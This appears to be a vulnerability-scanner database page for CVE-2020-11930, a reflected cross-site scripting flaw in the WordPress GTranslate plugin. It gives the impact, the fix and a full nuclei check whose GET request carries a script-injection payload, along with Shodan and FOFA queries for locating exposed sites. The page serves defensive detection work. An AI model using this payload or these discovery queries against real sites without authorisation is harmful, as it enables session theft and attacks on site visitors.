HexBrain

Browse / CVEs / CVE-2020-11930

CVE-2020-11930· gtranslate / translate wordpress with gtranslate· CWE-79

WordPress GTranslate <2.8.52 - Cross-Site Scripting

mediumseverity
6.1CVSS score
4.5%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

WordPress GTranslate plugin before 2.8.52 contains an unauthenticated reflected cross-site scripting vulnerability via a crafted link. This requires use of the hreflang tags feature within a sub-domain or sub-directory paid option.

Impact

Attackers can inject malicious JavaScript through a crafted link, potentially stealing user credentials, session tokens, or performing unauthorized actions on behalf of victims when they click the malicious link.

Fix

Update the WordPress GTranslate plugin to version 2.8.52 or later.

How to confirm it

Send: GET {{BaseURL}}/does_not_exist"%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E<img%20src=x
Positive when: contains "<script>alert(document.domain)</script>" and "uri-translation" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-11930 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-11930

info:
  name: WordPress GTranslate <2.8.52 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: |
    WordPress GTranslate plugin before 2.8.52 contains an unauthenticated reflected cross-site scripting vulnerability via a crafted link. This requires use of the hreflang tags feature within a sub-domain or sub-directory paid option.
  impact: |
    Attackers can inject malicious JavaScript through a crafted link, potentially stealing user credentials, session tokens, or performing unauthorized actions on behalf of victims when they click the malicious link.
  remediation: |
    Update the WordPress GTranslate plugin to version 2.8.52 or later.
  reference:
    - https://wpscan.com/vulnerability/10181
    - https://payatu.com/blog/gaurav/analysis-of-cve-2020-11930:-reflected-xss-in-gtranslate-wordpress-module
    - https://plugins.trac.wordpress.org/changeset/2245581/gtranslate
    - https://plugins.trac.wordpress.org/changeset/2245591/gtranslate
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11930
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-11930
    cwe-id: CWE-79
    epss-score: 0.04457
    epss-percentile: 0.91508
    cpe: cpe:2.3:a:gtranslate:translate_wordpress_with_gtranslate:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: gtranslate
    product: translate_wordpress_with_gtranslate
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/gtranslate
    fofa-query: body=/wp-content/plugins/gtranslate
    publicwww-query: "/wp-content/plugins/gtranslate"
  tags: cve2020,cve,wordpress,wp,xss,wp-plugin,wpscan,gtranslate,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/does_not_exist"%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E<img%20src=x'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'uri-translation'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from